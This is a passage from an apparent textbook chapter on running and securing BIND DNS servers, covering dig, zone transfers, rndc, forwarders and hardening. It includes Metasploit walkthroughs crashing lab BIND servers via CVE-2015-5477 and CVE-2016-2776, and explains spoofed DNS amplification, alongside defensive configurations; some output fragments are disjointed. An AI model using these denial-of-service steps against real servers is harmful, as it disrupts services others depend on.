29.2.0.10.in-addr.arpa. 300 IN PTR Antares.stars.example.
;; AUTHORITY SECTION:
2.0.10.in-addr.arpa. 300 IN NS navi.stars.example.
2.0.10.in-addr.arpa. 300 IN NS enif.stars.example.
;; ADDITIONAL SECTION:
enif.stars.example. 300 IN A 10.0.2.97
navi.stars.example. 300 IN A 10.0.2.106
;; Query time: 0 msec
;; SERVER: 10.0.2.97#53(10.0.2.97)
;; WHEN: Wed Jun 14 20:35:05 EDT 2017
;; MSG SIZE rcvd: 156
Dig: Response Fields
Both responses begin with the version of dig; version 9.9.9-P1 in the first example and 9.9.4-14 in the second. Next come the global options that have been set for dig; the only option is +cmd, which indicates that dig is to include its version information with the response.
The responses continue with the flags that were set; these match the corresponding flags in a DNS header, which may include the following:
qr Query response
aa Authoritative answer
tc Response packet has been truncated
rd Recursion desired
ra Recursion available
After the flag list comes the number of results in each subsequent section. In both examples, the request contained one query; the response includes one entry in the answer section, two answers in the authority section, and three entries in the additional section.
The question section is the request that was made: a request for an address record in the first example and a request for a pointer in the second.
The answer section contains the responses to the query. Each returned record, whether part of the answer, authority, or additional section includes a number; this is the TTL of the response. Recall that a zone’s TTL is provided with each request; the TTL states how long the request should be cached. In the example servers developed earlier, this was set to 5 minutes, so the value 300 is expected.
The authority section lists the server(s) that provide authoritative information for the zone, and the additional section provides additional answers related to the query.
Like nslookup, dig can make other kinds of queries, like nameserver (NS) and start of authority queries (SOA), though the syntax is different. For dig, specify the type of query with the -t flag. As an example, to query everything (an “any” query), run
[cgauss@enif ~]$ dig -t any stars.example
; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> -t any stars.example
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;stars.example. IN ANY
;; ANSWER SECTION:
stars.example. 300 IN SOA enif.stars.example. sgermain.enif.stars.example. 4 300 180 1800 300
stars.example. 300 IN NS navi.stars.example.
stars.example. 300 IN NS enif.stars.example.
;; ADDITIONAL SECTION:
enif.stars.example. 300 IN A 10.0.2.97
navi.stars.example. 300 IN A 10.0.2.106
;; Query time: 25 msec
;; SERVER: 10.0.2.97#53(10.0.2.97)
;; WHEN: Wed Jun 14 20:36:05 EDT 2017
;; MSG SIZE rcvd: 157
Dig: Specifying the Server
By default, dig uses the DNS server that the host uses for DNS requests. To use a different server, specify it with "@". For example, to query a DNS server at 10.0.2.106 for the IP address of the host acrux.stars.example, run
stars.example. 300 IN SOA enif.stars.example. sgermain.enif.stars.example. 4 300 180 1800 300
stars.example. 300 IN NS enif.stars.example.
stars.example. 300 IN NS antares.stars.example.
achernar.stars.example. 300 IN A 10.0.2.21
achernarB.stars.example. 300 IN A 10.0.2.23
... Output Deleted ...
wei.stars.example. 300 IN A 10.0.2.91
wezen.stars.example. 300 IN A 10.0.2.52
stars.example. 300 IN SOA enif.stars.example. sgermain.enif.stars.example. 4 300 180 1800 300
;; Query time: 0 msec
;; SERVER: 10.0.2.90#53(10.0.2.90)
;; WHEN: Tue Jun 13 22:40:01 EDT 2017
;; XFR size: 102 records (messages 1, bytes 2439)
Advanced Configuration
Although the BIND servers constructed so far are functional, they are far from secure. The ability to perform a zone transfer and download every record tells the attacker the IP address of every named system on the network, the location of all the public DNS servers, and the location of the mail servers. If hosts are named after their function, the attacker may also have a few fair guesses as to the likely location of databases or other pieces of critical infrastructure.
Controlling Zone Transfers
Though there is no need to allow zone transfers to arbitrary hosts, slaves must be able to perform zone transfers from the master. The BIND directive allow-transfer specifies which IP addresses (if any) can request a zone transfer. Since a slave server has no need to allow zone transfers, modify the global section of named.conf for the slave to include
options {
directory "/etc/bind";
allow-transfer{ "none"; };
};
The same statement can be overridden in any zone. To allow a slave at 10.0.2.106 permission to perform a zone transfer for the forward zone stars.example and the reverse zone 2.0.10.in-addr.arpa, modify the zone directives on the master as follows.
zone "stars.example" in {
type master;
file "db.stars.example";
allow-transfer{ 10.0.2.106; };
};
zone "2.0.10.in-addr.arpa" in {
type master;
file "db.10.0.2";
allow-transfer{ 10.0.2.106; };
};
The allow-transfer directive allows the use of “any” or “none”; it also allows the specification of networks in CIDR notation, like 10.0.2.0/24. Multiple entries are allowed provided they are separated by semicolons.
Rndc: Updating Configuration
Once changes are made to the configuration file, the server needs to be updated with the new data. Instead of stopping and starting the service using the systemd, Upstart, or SysVInit commands, this can be done with rndc and the command
[root@Spica ~]# rndc reconfig
The reconfig option tells BIND to reread named.conf, but not to reread any existing zone files.
Rndc: Updating Zone Data
The process to update a zone with new host data proceeds in three steps. In the forward zone, update the serial number and add/modify/delete the address (A) records. Then, in the reverse zone, update the serial number and add/modify/delete the corresponding pointer (PTR) records. Finally, reload the zone. To reload all the zone files, run the command
[root@enif ~]# rndc reload
server reload successful
If a zone is also specified, then only that zone is updated, so to only update the forward zone named stars.example, the command is
[root@enif ~]# rndc reload stars.example
zone reload queued
Slave nameservers receive notification that the zone has been updated and download the new data from the master. The system logs show the process: for example, on an OpenSuSE 42.2 slave:
dschubba:~ # journalctl -u named --since "2 minutes ago"
-- Logs begin at Sat 2017-01-14 16:01:40 EST, end at Wed 2017-06-14 21:03:36 EDT. --
Jun 14 21:03:36 dschubba named[3168]: zone 2.0.10.in-addr.arpa/IN: Transfer started.
Jun 14 21:03:36 dschubba named[3168]: transfer of '2.0.10.in-addr.arpa/IN' from 10.0.2.97#53: connected using 1
Jun 14 21:03:36 dschubba named[3168]: zone 2.0.10.in-addr.arpa/IN: transferred serial 15
Jun 14 21:03:36 dschubba named[3168]: transfer of '2.0.10.in-addr.arpa/IN' from 10.0.2.97#53: Transfer status:
Jun 14 21:03:36 dschubba named[3168]: transfer of '2.0.10.in-addr.arpa/IN' from 10.0.2.97#53: Transfer complete
Jun 14 21:03:36 dschubba named[3168]: zone 2.0.10.in-addr.arpa/IN: sending notifies (serial 15)
Rndc: Server Control and Statistics
Other control commands include rndc stop, to stop the server while completing any updates in progress, rndc halt to stop the server without saving any pending updates, and rndc flush to clear the server’s cache.
The command rndc stats dumps the server statistics to the file named.stats in the server’s current directory. Similarly, rndc recursing lists the queries the server is currently recursing on to the file named.recursing. In many cases, though, the server user does not have write access to its directory and the command will throw an error.
[root@enif ~]# rndc stats
rndc: 'stats' failed: permission denied
The solution is to specify a file that the server has write access in the options section of named.conf. In a Mint system, for example, the server can write to /var/cache/bind, so the global options section can be updated to read
options {
directory "/etc/bind";
allow-transfer{ "none"; };
statistics-file "/var/cache/bind/stats";
recursing-file "/var/cache/bind/recursing";
};
In a CentOS system, the comparable file locations are /var/named/data/stats and /var/named/data/recursing; if the system uses chroot, these are actually located at /var/named/chroot/var/named/data/recursing and /var/named/chroot/var/named/data/recursing.
The statistics can be dumped and read; for example, on CentOS 7.
[root@enif ~]# rndc stats
[root@enif ~]# cat /var/named/data/stats
+++ Statistics Dump +++ (1497489367)
++ Incoming Requests ++
55 QUERY
++ Incoming Queries ++
5 A
34 SOA
14 IXFR
2 AXFR
++ Outgoing Queries ++
[View: default]
66 A
6 NS
45 AAAA
[View: _bind]
++ Name Server Statistics ++
55 IPv4 requests received
34 requests with EDNS(0) received
16 TCP requests received
38 responses sent
34 responses with EDNS(0) sent
38 queries resulted in successful answer
34 queries resulted in authoritative answer
4 queries resulted in non authoritative answer
5 queries caused recursion
1 duplicate queries received
16 requested transfers completed
++ Zone Maintenance Statistics ++
12 IPv4 notifies sent
... Output Deleted ...
Rndc: Logging DNS Queries
The command rndc querylog toggles whether BIND logs its queries. These are logged by the system; on Linux it uses syslog or systemd; on Windows it uses the application log.
As an example, here are the logs on a CentOS 7 system as querylog is turned on, some queries made, and querylog turned off.
[root@enif ~]# journalctl -u named --since "5 minutes ago"
-- Logs begin at Wed 2017-06-14 18:54:06 EDT, end at Wed 2017-06-14 21:38:12 EDT. --
Jun 14 21:37:19 enif.stars.example named[5255]: received control channel command 'querylog'
Jun 14 21:37:19 enif.stars.example named[5255]: query logging is now on
Jun 14 21:37:23 enif.stars.example named[5255]: client 10.0.2.90#60384 (spica.stars.example): query: spica.stars.example IN A + (10.0.2.97)
Jun 14 21:37:52 enif.stars.example named[5255]: client 10.0.2.28#48593 (100.2.0.10.in-addr.arpa): query: 100.2.0.10.in-addr.arpa IN PTR + (10.0.2.97)
Jun 14 21:38:07 enif.stars.example named[5255]: client 10.0.2.106#61503 (97.2.0.10.in-addr.arpa): query: 97.2.0.10.in-addr.arpa IN PTR + (10.0.2.97)
Jun 14 21:38:07 enif.stars.example named[5255]: client 10.0.2.106#61504 (google.com): query: google.com IN A + (10.0.2.97)
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "This isn't the version of BIND you are looking for"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 0 msec
;; SERVER: 10.0.2.97#53(10.0.2.97)
;; WHEN: Wed Jun 14 22:14:22 EDT 2017
;; MSG SIZE rcvd: 118
Forwarders
One way to build a more complex DNS infrastructure is through forwarders. A forwarder forwards requests for data in a zone to another server. Forwarders can be set up for both forward zones and reverse zones.
Consider a pair of test networks:
The “stars” network, with namespace *.stars.example in the address space 10.0.2.0/24 and nameservers at 10.0.2.97 and 10.0.2.106.
The “nebula” network with namespace *.nebula.example in the address space 10.0.4.0/24 and nameservers at 10.0.4.10 and 10.0.4.11.
A system using a nameserver for the “stars” network can determine the hostname or IP address of any system in “stars”; because the nameserver also has a valid root hints file, it can also determine the host name or IP address of any system on the wider Internet. However, it cannot look up any information about the “nebula” network, as the specification is neither in “stars” nor on the Internet.
To change this behavior, the namservers for “stars” need to be updated with information from “nebula”. In the named.conf file on the nameserver for “stars” add two new zones: one for nebula.example and one for 10.0.4.0/24.
zone "nebula.example" in {
type forward;
forwarders{ 10.0.4.10; 10.0.4.11; };
};
zone "4.0.10.in-addr.arpa" in {
type forward;
forwarders{ 10.0.4.10; 10.0.4.11; };
};
These tell the nameserver that the data for the “nebula” network is available at 10.0.4.10 and 10.0.4.11. Systems that use the “stars” nameservers now have access to data from the “nebula” network.
BIND 9.0 through 9.8, BIND 9.9 up to 9.9.9-P2, BIND 9.9.3-S1 through BIND 9.9.9-S2, BIND 9.10.10 up to 9.10.4-P2 and BIND 9.11.0a1 up to 9.11.0rc
Example: TKEY CVE 2015-5477
Suppose that an attacker on Metasploit wants to disable a DNS server running BIND 9.9.4 on CentOS 7.0-1406 at 10.0.2.97. To do so, the attacker first loads the module.
msf > use auxiliary/dos/dns/bind_tkey
msf auxiliary(dos/dns/bind_tkey) > info
Name: BIND TKEY Query Denial of Service
Module: auxiliary/dos/dns/bind_tkey
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-07-28
... Output Deleted ...
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in
each set
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR
identifier
RPORT 53 yes The target port (UDP)
SRC_ADDR no Source address to spoof
THREADS 10 yes The number of concurrent threads
Description:
This module sends a malformed TKEY query, which exploits an error in
handling TKEY queries on affected BIND9 'named' DNS servers. As a
result, a vulnerable named server will exit with a REQUIRE assertion
failure. This condition can be exploited in versions of BIND between
BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 through
9.10.2-P2.
... Output Deleted ...
The attacker specifies the IP address of the remote target and launches the exploit.
msf auxiliary(dos/dns/bind_tkey) > set rhosts 10.0.2.97
rhosts => 10.0.2.97
msf auxiliary(dos/dns/bind_tkey) > exploit
[*] Sending packet to 10.0.2.97
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
The BIND server on the target dies. A check of the logs shows the service stop.
[root@enif ~]# journalctl -u named --since "5 minutes ago"
-- Logs begin at Wed 2018-04-18 21:27:45 EDT, end at Wed 2018-04-18 21:44:54 EDT. --
Apr 18 21:44:36 enif.stars.example sh[3870]: -q, --queue <sig> use sigqueue(2) rather than kill(2)
Apr 18 21:44:36 enif.stars.example sh[3870]: -p, --pid print pids without signaling them
Apr 18 21:44:36 enif.stars.example sh[3870]: -l, --list [=<signal>] list signal names, or convert one to a name
Apr 18 21:44:36 enif.stars.example sh[3870]: -L, --table list signal names and numbers
Apr 18 21:44:36 enif.stars.example sh[3870]: -h, --help display this help and exit
Apr 18 21:44:36 enif.stars.example sh[3870]: -V, --version output version information and exit
Apr 18 21:44:36 enif.stars.example sh[3870]: For more details see kill(1).
Apr 18 21:44:36 enif.stars.example systemd[1]: named.service: control process exited, code=exited status=1
Apr 18 21:44:36 enif.stars.example systemd[1]: Unit named.service entered failed state.
Mint 18 uses BIND 9.10.3-P4, which is not vulnerable to this attack. If this attack is launched on such a system with querylog enabled, the TKEY query is noted, but the service is otherwise unaffected.
There are no simple mitigation strategies that can be employed beyond updating to a patched version of BIND.
Example: Buffer.c CVE 2016-2776
The TSIG attack auxiliary/dos/dns/bind_tsig can be used to crash BIND 9.10.3-P4 from this same Mint 18 system. The attack is launched in the same fashion.
msf auxiliary(dos/dns/bind_tkey) > use auxiliary/dos/dns/bind_tsig
msf auxiliary(dos/dns/bind_tsig) > info
Name: BIND TKEY Query Denial of Service
Module: auxiliary/dos/dns/bind_tsig
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-09-27
... Output Deleted ...
Basic options:
Name Setting Required Description
---- ------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR identifier
RPORT 53 yes The target port (UDP)
SRC_ADDR no Source address to spoof
THREADS 10 yes The number of concurrent threads
Description:
A defect in the rendering of messages into packets can cause named
to exit with an assertion failure in buffer.c while constructing a
response to a query that meets certain criteria. This assertion can
be triggered even if the apparent source address isn't allowed to
make queries.
... Output Deleted ...
msf auxiliary(dos/dns/bind_tsig) > set rhosts 10.0.3.45
Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Control process exited, code=exited status=1
Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Unit entered failed state.
Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Failed with result 'exit-code'.
Like the previous exploit, there is no simple mitigation other than patching the service.
Recursion and DNS Amplification Attacks
There are two kinds of queries: recursive and iterative. A nameserver that receives a recursive query attempts to answer the query with data in its possession - either cached or from one of its zones. If the nameserver is unable to answer the query, the nameserver makes requests of additional nameservers until it locates the data, then returns the result. A nameserver that receives an iterative query responds with the best data in its possession; if it does not know the answer to the query, it returns a referral to other nameservers that may know the answer.
A server that responds to recursive requests from locations on the open Internet is a security problem and can be used in a DNS amplification attack.
A DNS amplification attack is a type of distributed denial of service (DDoS) attack. In a successful DDoS attack, the attacker uses many systems to send more data to a target than it can handle. If an attacker controls 10 systems capable of sending 10 Mbps to a target, then the attacker can flood the target with 100 Mbps. DNS amplification allows the attacker to multiply that significantly. The process is as follows:
The attacker identifies one or more nameservers with very large records or creates a nameserver with a large record.
The attacker instructs each controlled attacking system to request that record, but not directly. Instead each system makes the request of a DNS server that responds to recursive queries.
Each DNS request spoofs the source address of the requesting system, replacing the attacker’s address with that of the target.
The open recursive nameservers obtain the record from the nameserver(s) with a large record selected by the attacker.
Because nameservers cache their results, requests for the large record are only made when the cached data expires, reducing strain on the nameserver providing the large records.
The recursive nameservers send the large results to the address spoofed in the original packet.
This method was used in a DDoS against Spamhaus in 2013. In that attack, it is estimated that the requests were likely 36 bytes in size, while the responses were roughly 3,000 bytes, increasing the effect on the target by nearly 100 times.2
Since UDP does not use a three-way handshake, it is difficult for the recursive nameservers to know that the source has been spoofed. Moreover, the target sees only DNS traffic from legitimate DNS servers, making it difficult to filter the attack.
Code that implements this kind of attack can be implemented in Python. Consider a Kali system and the code in Listing 4-9.
The script begins with the path to Python. The scapy library is loaded; scapy is a full-featured packet manipulation library for Python. The next three lines build a packet. The first line specifies the IP layer, where the destination is the address of a nameserver providing recursive lookups and the (spoofed) source is the address of the target. The second line refines the packet, configuring it as a UDP packet on the default port UDP/53 for DNS queries. The third line builds the DNS query. The flag rd is set to 1, indicating that recursion is desired. The qd variable provides the DNS query; in this example it asks for all records for the host name google.com. Once built, the packet is sent out as rapidly as possible in a while loop; if the verbose=0 option is not set, then Python reports to the screen each time a packet is sent.
The Ethernet frame for the request is 70 bytes, but the Ethernet frame for the response is 550 bytes, meaning this simple code amplifies the size of the data stream by more than seven times. The load on Google’s nameserver is essentially nil as the vulnerable recursive nameserver caches the result.
To provide a more secure BIND installation, the named.conf file (Table 4-1) should be configured to only accept recursive queries from trusted hosts. This can be done by specifying one or more address ranges as an acl, then restricting recursion and/or queries to only those systems.
acl internal { 10.0.2.0/24; 127.0.0.0/8; };
options {
directory "/var/named";
allow-transfer{ "none"; };
statistics-file "/var/named/data/stats";
recursing-file "/var/named/data/recursing";
version "This isn't the BIND information you are looking for....";
allow-recursion{ internal; };
};
Notes and References
Just as there are reserved IP address ranges, there are reserved namespaces. RFC 2606 (http://tools.ietf.org/html/rfc2606) identifies four reserved top-level domains for use in testing and documentation:
The method described in the text to build a reverse zone works for Class A, B, or C networks. It is possible to create a reverse lookup zone for different size networks, say 10.0.2.80/28, which is the subnetwork from 10.0.2.80 through 10.0.2.95. The technique requires more complex BIND syntax; see, for example, DNS & BIND by Liu & Albitz, pp. 215 ff.
Abbreviations in BIND DNS zone files are well described in Chapter 4 of DNS & BIND by Liu & Albitz, pp. 68 ff.
Installing BIND on Mint 18.1 can be problematic if the xenial-updates repository is not enabled. For example, the usual apt installation process yields the following.
jmaxwell@aletheia ~ $ sudo apt install bind9
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
... Output Deleted ...
One solution is to use aptitude; this provides the administrator with options to resolve dependencies.
jmaxwell@aletheia ~ $ sudo aptitude install bind9
[sudo] password for jmaxwell:
The following NEW packages will be installed:
bind9{b} bind9utils{a} libirs141{a}
0 packages upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 590 kB of archives. After unpacking 2,945 kB will be used.
The following packages have unmet dependencies:
bind9 : Depends: libbind9-140 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntu1.3 is installed.
Depends: libdns162 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntu1.3 is installed.
Depends: libisc160 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntu1.3 is installed.
Depends: libisccc140 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntu1.3 is installed.
Depends: libisccfg140 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntu1.3 is installed.
Depends: liblwres141 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntu1.3 is installed.
The following actions will resolve these dependencies:
Keep the following packages at their current version:
1) bind9 [Not Installed]
Accept this solution? [Y/n/q/?] n
The following actions will resolve these dependencies:
0 packages upgraded, 3 newly installed, 8 downgraded, 0 to remove and 0 not upgraded.
Need to get 1,921 kB of archives. After unpacking 2,937 kB will be used.
Do you want to continue? [Y/n/?] y
... Output Deleted ...
For older versions of BIND for Windows on a 64-bit system, even though the target directory specified in the installer is C:Windowssystem32dns, BIND may be installed to C:WindowsSysWOW64dns.
One hugely important topic that has been omitted in this chapter is DNSSEC. DNSSEC provides digital signatures for DNS requests; this includes an infrastructure to communicate the various public keys that are used in the signatures. Readers interested in implementing DNSSEC on BIND may wish to read BIND DNSSEC Guide, available from https://ftp.isc.org/isc/dnssec-guide/dnssec-guide.pdf.
My personal favorite overview of DNS & BIND is
DNS & BIND, Cricket Liu and Paul Albitz. O’Reilly, June 2006.
My copy is well thumbed and well marked; the book is well worth reading.
For a book about the security of DNS, I highly recommend
DNS Security, Anestis Karasaridis. Amazon Digital Services, May 2012.
DNS Security Defending the Domain Name System, Allan Liska and Geoffrey Stowe. Syngress, June 2016
Another good, but older book that provides a broad introduction to DNS and BIND is
Pro DNS and BIND, Ron Aitchison. Apress, August 2005.
No overview of BIND is complete without mentioning the official BIND documentation, which can be found online at https://kb.isc.org/article/AA-01031.
Different versions of BIND provide different default behaviors for recursion; this is the problem Trevor Pott identified. For this reason, it is best not to rely on the default, but instead to explicitly configure the desired recursion. See the ISC knowledge base https://kb.isc.org/article/AA-00269/0/What-has-changed-in-the-behavior-of-allow-recursion-and-allow-query-cache.html that explains that the default behavior for BIND after 9.4.1-P1 is to deny (most) recursion by default. See also CVE 2007-2925, which reported that some versions of BIND, including 9.4.0, 9.4.1, and 9.5.0a1-9.5.0a5 did not properly set key ACLs, and so allowed recursive queries by default.
There have been DDoS attacks against the root DNS servers for the Internet. Technical details describing the November 2015 attack can be found in Anycast vs. DDoS: Evaluating the November 2015 Root DNS Event, Giovane C. M. Moura, Ricardo de O. Schmidt, John Heidemann, Wouter B. de Vries, Moritz Müller, Lan Wei, and Cristian Hesselman, IMC ’16 Proceedings of the 2016 Internet Measurement Conference, pp. 255-270. Available from https://doi.org/10.1145/2987443.2987446.
